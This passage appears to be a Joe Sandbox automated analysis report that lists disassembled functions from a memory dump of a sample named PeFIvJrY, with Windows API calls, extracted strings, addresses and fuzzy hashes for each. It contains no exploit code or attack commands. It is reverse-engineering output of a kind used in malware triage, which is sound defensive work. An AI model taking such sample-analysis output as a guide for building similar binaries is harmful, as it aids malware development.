Instruction Fuzzy Hash: 5B517AB0E042199BEF14CFA8C9457EEBBB4EB48314F24816AE811B73C2D7795D448B99

Function 003F3B50 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 003F3B9B
SysAllocString.OLEAUT32(ComponentHost), ref: 003F3C0F
VariantClear.OLEAUT32(?), ref: 003F3C48
_com_issue_error.COMSUPP ref: 003F3CA7

Strings

ComponentHost, xrefs: 003F3BF7

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Variant$AllocClearInitString_com_issue_error
String ID: ComponentHost
API String ID: 1237638183-3610559101
Opcode ID: ace70aeb85330e516d0da698db3344a9e1a35e439cf2979af6b1ed0db432e0d7
Instruction ID: 9d5f04b1b00ed6a2f15a151ac3522d0db1919fbf0d9f8f2b6a8e6023aa2de4be
Opcode Fuzzy Hash: ace70aeb85330e516d0da698db3344a9e1a35e439cf2979af6b1ed0db432e0d7
Instruction Fuzzy Hash: 0E51D674E04348DFDB11DFA8CC45BAEB7B8FF09714F10826AEA05AB281E774A940C795

Function 003F6F50 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 122threadCOMMON

Download Yara Rule

APIs

Part of subcall function 003F4E70: __Mtx_init_in_situ.LIBCPMT ref: 003F4ECC

Part of subcall function 003F9ED0: SysAllocStringLen.OLEAUT32(00000000,00000000), ref: 003F9F93

GetCurrentThreadId.KERNEL32 ref: 003F6FE6
SysFreeString.OLEAUT32(?), ref: 003F7017
SysFreeString.OLEAUT32(?), ref: 003F7021
SysFreeString.OLEAUT32(?), ref: 003F702B

Strings

signal_event, xrefs: 003F6FFB

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: String$Free$AllocCurrentMtx_init_in_situThread
String ID: signal_event
API String ID: 3845081946-4093753797
Opcode ID: 7641d2c59ce0bd4fa6bb17bc29474badae18cf62fa39bef3668b60e52370e79c
Instruction ID: 14866e5d540d152afdd2eb9e2e39cca649ad5f27cd53766b36a14513503a382e
Opcode Fuzzy Hash: 7641d2c59ce0bd4fa6bb17bc29474badae18cf62fa39bef3668b60e52370e79c
Instruction Fuzzy Hash: E6416075E0421D9BCF15DFA8D981AAEBBF9FF08310F14416AE901AB341DB35AD00CBA0

Function 003E5E30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 113COMMON

Download Yara Rule

APIs

OpenSemaphoreW.KERNEL32(001F0003,00000000,?,?,?,?,00000000,004614D0,?), ref: 003E5E89
GetLastError.KERNEL32 ref: 003E5E95
CloseHandle.KERNEL32(00000000), ref: 003E5F00
CloseHandle.KERNEL32(00000000), ref: 003E5F3B

Strings

_p0, xrefs: 003E5E6F

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: CloseHandle$ErrorLastOpenSemaphore
String ID: _p0
API String ID: 3583359621-2437413317
Opcode ID: bce2ac7c8ef68dc8dbf41597dedccee11b88a51b8135992db707ad45b1177387
Instruction ID: 39cd33be2e6472e59df7f9e7a33d8aa5df94de1eaf0bec04b714e7ec3ce78ec3
Opcode Fuzzy Hash: bce2ac7c8ef68dc8dbf41597dedccee11b88a51b8135992db707ad45b1177387
Instruction Fuzzy Hash: D13104752146549BD716EF26EC45BAB73EAEFC9310F10472CF8088B2C1EB309E01C6A6

Function 00404B60 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 108COMMON

Download Yara Rule

APIs

Part of subcall function 00427210: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,00460EFC,00000017,0042372F,?,004589A4,?), ref: 00427270

___std_exception_copy.LIBVCRUNTIME ref: 00404C32

Strings

0q>, xrefs: 00404C37
`I@, xrefs: 00404C59
@ >, xrefs: 00404C23
directory_iterator::operator++, xrefs: 00404BA9

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: 0q>$@ >$`I@$directory_iterator::operator++
API String ID: 3109751735-3075673613
Opcode ID: 1545a5334c7f1759df6d2bee6d4cb18745119cf8f6aaada5e1e74260f55bc2d3
Instruction ID: 471c2aebfbd849508c93e2fd0bced2b2833431948058e6adf8d2a67cf58fbb36
Opcode Fuzzy Hash: 1545a5334c7f1759df6d2bee6d4cb18745119cf8f6aaada5e1e74260f55bc2d3
Instruction Fuzzy Hash: CD317EB1900608EFC710DF55DD41B86FBFCFB19710F50866AE915A3681EBB4BA08CBA4

Function 004213D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

___tlregdtor.LIBCMT ref: 00421479
SetFilePointer.KERNEL32(?,?,00000000,00000001,A05DD77D,?,?,0043B3A0,000000FF), ref: 004214B1
GetLastError.KERNEL32(?,?,0043B3A0,000000FF), ref: 004214D1

Strings

_TLD, xrefs: 00421439
CORE, xrefs: 0042140F

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ErrorFileLastPointer___tlregdtor
String ID: CORE$_TLD
API String ID: 3194831421-4220718512
Opcode ID: 080f3b2184b3006a4553958c9f1504cdf603a48b63e34361caca2850cc2468ad
Instruction ID: fc4eefdf920fa33f7396e2d6d7ac44169258fda274b1a28bd8d3ef3a7f0a6a85
Opcode Fuzzy Hash: 080f3b2184b3006a4553958c9f1504cdf603a48b63e34361caca2850cc2468ad
Instruction Fuzzy Hash: 5D319F71A04B64EFD721DF24D800BA7B7E4FB05B20F504A2EE96F877A0D77964008B96

Function 00421270 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72fileCOMMON

Download Yara Rule

APIs

___tlregdtor.LIBCMT ref: 0042131A
ReadFile.KERNEL32(?,?,00000000,?,00000000,A05DD77D,?,?,?,0043A5D0,000000FF), ref: 00421342

Strings

CORE, xrefs: 004212B0
_TLD, xrefs: 004212DA

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: FileRead___tlregdtor
String ID: CORE$_TLD
API String ID: 3805497070-4220718512
Opcode ID: 0bdf14da2e6ed0f9d3f564b47db03110a574a4e1ee80a7b244e903eea2bdd58b
Instruction ID: 3a1c4b119da3ef676939bc5e4e5c840181d89d72c24619520aea99cd63b591c4
Opcode Fuzzy Hash: 0bdf14da2e6ed0f9d3f564b47db03110a574a4e1ee80a7b244e903eea2bdd58b
Instruction Fuzzy Hash: 7431A071A04B54EFE721CF64D801B9BB7F4FB08710F004A6EE86A87790DBB96400CB96

Function 0040DF40 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 71timeCOMMON

Download Yara Rule

APIs

QueryUnbiasedInterruptTime.KERNEL32(?,A05DD77D,?,00000000,?,0043D290,000000FF,?,0040DE6F,?), ref: 0040DEBC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040DEEF

Strings

0D, xrefs: 0040DF16
trust, xrefs: 0040DF0F
update_cache, xrefs: 0040DF09

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: InterruptQueryTimeUnbiasedUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: 0D$trust$update_cache
API String ID: 2902542638-46904128
Opcode ID: 9af4183fd37b0497d985f96bd6b8bca3cd72bd141d521e451e4744f90b2499d5
Instruction ID: 951ad9142fb281c5aedca00f5361b68a1597a5c826cac8b65b48a34ab7a41dca
Opcode Fuzzy Hash: 9af4183fd37b0497d985f96bd6b8bca3cd72bd141d521e451e4744f90b2499d5
Instruction Fuzzy Hash: 2E217C75A00608AFD714DFA9DC85FABBBF8FB4D710F10466AF905A7290D775A800CB94

Function 00428BF2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,00428CB3,00000000,00442280,?,00000000,?,00428D65,00000002,FlsGetValue,00442278,00442280,00000000), ref: 00428C82

Strings

api-ms-, xrefs: 00428C42

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: f5ca089392f4164d36b75d90487cebb2fb09a6c177f3b12d24c2e35dbdbb7747
Instruction ID: cf790e74713325d114bbdac416e9a3871f6a1129ca0435b6489cf9e5f64edd11
Opcode Fuzzy Hash: f5ca089392f4164d36b75d90487cebb2fb09a6c177f3b12d24c2e35dbdbb7747
Instruction Fuzzy Hash: 2411C435B43230ABDB224B69AC4575E33549F02760F640166FA05A7380DB78ED0086ED

Function 003F2A00 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

FindWindowExW.USER32(00000000,00000000,#32770,00000000), ref: 003F2A2B
GetPropW.USER32(00000000,WebViewContainerAppName), ref: 003F2A39
GlobalGetAtomNameW.KERNEL32(00000000,?,00000104), ref: 003F2A50

Strings

WebViewContainerAppName, xrefs: 003F2A33
#32770, xrefs: 003F2A23

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: AtomFindGlobalNamePropWindow
String ID: #32770$WebViewContainerAppName
API String ID: 2291018682-3746687551
Opcode ID: 624adc244acf461daf36f7193796e78c0c8102e41d7a58b40ad43cc0cfc89a00
Instruction ID: 04566f68faa3edcd623203f46783239a67d24a9ea97ce79e419a05980410b0f1
Opcode Fuzzy Hash: 624adc244acf461daf36f7193796e78c0c8102e41d7a58b40ad43cc0cfc89a00
Instruction Fuzzy Hash: D2012B36B40218A7DA21EBA6AC4AFABB398EF55711F51016AFE04DB1C1ED709D1483A4

Function 0042EC67 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,A05DD77D,?,?,00000000,0043A5B0,000000FF,?,0042EC3A,00000002,eB,0042EC0E,eB), ref: 0042EC9C
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0042ECAE
FreeLibrary.KERNEL32(00000000,?,?,00000000,0043A5B0,000000FF,?,0042EC3A,00000002,eB,0042EC0E,eB), ref: 0042ECD0

Strings

mscoree.dll, xrefs: 0042EC95
CorExitProcess, xrefs: 0042ECA6

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0977ad62dc4601cc6e690d0c2fdd558438532dab19dbeb08c332b56190597e84
Instruction ID: 83d070c1dc2948f266ea48502ee25f0f024d050a23e71bd8985b8323ecf34afa
Opcode Fuzzy Hash: 0977ad62dc4601cc6e690d0c2fdd558438532dab19dbeb08c332b56190597e84
Instruction Fuzzy Hash: 2301A235A00629EFDB119F92DC05BAFBBB8FB05B11F000536F911A23D0DBB99910CA98

Function 003F2980 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GlobalDeleteAtom.KERNEL32(?), ref: 003F29A9
GlobalAddAtomW.KERNEL32(00000000), ref: 003F29B2
GetLastError.KERNEL32 ref: 003F29C2

Strings

WebViewContainerAppName, xrefs: 003F29DC

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: AtomGlobal$DeleteErrorLast
String ID: WebViewContainerAppName
API String ID: 3166071000-1640168891
Opcode ID: a29dc4d45c3eeb9e46eaf7265e19f626ce4c7e2773da92cf50373c4b5ec942c4
Instruction ID: f731f322c338ac36118a90c5995feec08c7d72957bdfb2e9337e05cec2f4cb14
Opcode Fuzzy Hash: a29dc4d45c3eeb9e46eaf7265e19f626ce4c7e2773da92cf50373c4b5ec942c4
Instruction Fuzzy Hash: 17F06D79140609DBDB51AB95FC08B7777A8BB50361F41C126FA88DB060D7BAC8B0DB78

Function 00432C35 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00432CBC
__alloca_probe_16.LIBCMT ref: 00432D7D
__freea.LIBCMT ref: 00432DE4

Part of subcall function 0043023B: RtlAllocateHeap.NTDLL(00000000,?,?), ref: 0043026D

__freea.LIBCMT ref: 00432DF9
__freea.LIBCMT ref: 00432E09

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 69a5eba164a3dd2779e53ff7e74a4366de8de3fe2be9096bd272c75b99f82cff
Instruction ID: e742e182d1483abe86c7713669577c90f4501bd5df134f5f19e2308596e2f50e
Opcode Fuzzy Hash: 69a5eba164a3dd2779e53ff7e74a4366de8de3fe2be9096bd272c75b99f82cff
Instruction Fuzzy Hash: 9751C472600116AFEB209E66DD82EBF36A9EF08354F25112AFC04D7210EAB8CD118769

Function 0041EB40 Relevance: 7.6, APIs: 5, Instructions: 136fileCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00000000,00000000,A05DD77D), ref: 0041EB9B
CreateFileW.KERNEL32(?,80000000,00000005,00000000,00000003,02000000,00000000), ref: 0041EC50
CloseHandle.KERNEL32(00000000), ref: 0041ECAC
GetLastError.KERNEL32 ref: 0041ECDF
GetLastError.KERNEL32 ref: 0041ED06

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ErrorLast$CloseCreateFileHandle
String ID:
API String ID: 614986841-0
Opcode ID: 8634cc2be035cbb0032fdaf12e36042523111876e64471be8bd27d29ec06f0ea
Instruction ID: 7bfc1930e99ba8f9af3a77fc4d727bd5bf6da214558acfc95d8b0d15a51b7a9f
Opcode Fuzzy Hash: 8634cc2be035cbb0032fdaf12e36042523111876e64471be8bd27d29ec06f0ea
Instruction Fuzzy Hash: 2951A3B49013059FD7208F56DC48B9ABBF4FB04714F1084AEE95A97390E7B89984CF59

Function 003F3D00 Relevance: 7.6, APIs: 5, Instructions: 118memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 003F3D50
VariantClear.OLEAUT32(?), ref: 003F3D7A
SysAllocString.OLEAUT32(?), ref: 003F3D96
VariantInit.OLEAUT32(?), ref: 003F3DE4
VariantClear.OLEAUT32(?), ref: 003F3E32

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Variant$ClearString$AllocFreeInit
String ID:
API String ID: 695394290-0
Opcode ID: 872f689b4f0084a56579b28d001137ff34785ca4a72967cb18021a21e6b53ccf
Instruction ID: 414d438a7c6233382f34d26888efa5137ae14eab16ab33deb35018ab434d73d6
Opcode Fuzzy Hash: 872f689b4f0084a56579b28d001137ff34785ca4a72967cb18021a21e6b53ccf
Instruction Fuzzy Hash: 99416C759002599FCB11DFA9C804BAEBBF8FF48720F10866AFD15E7350E775AA108B94

Function 003F19B0 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 003F1A21
MapWindowPoints.USER32(000701F0,00000000,?,00000001), ref: 003F1A38
GetLastError.KERNEL32 ref: 003F1A42
SetWindowPos.USER32(000701F0,00000000,?,?,00000000,00000000,00000005), ref: 003F1A6D
UpdateWindow.USER32(000701F0), ref: 003F1A78

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
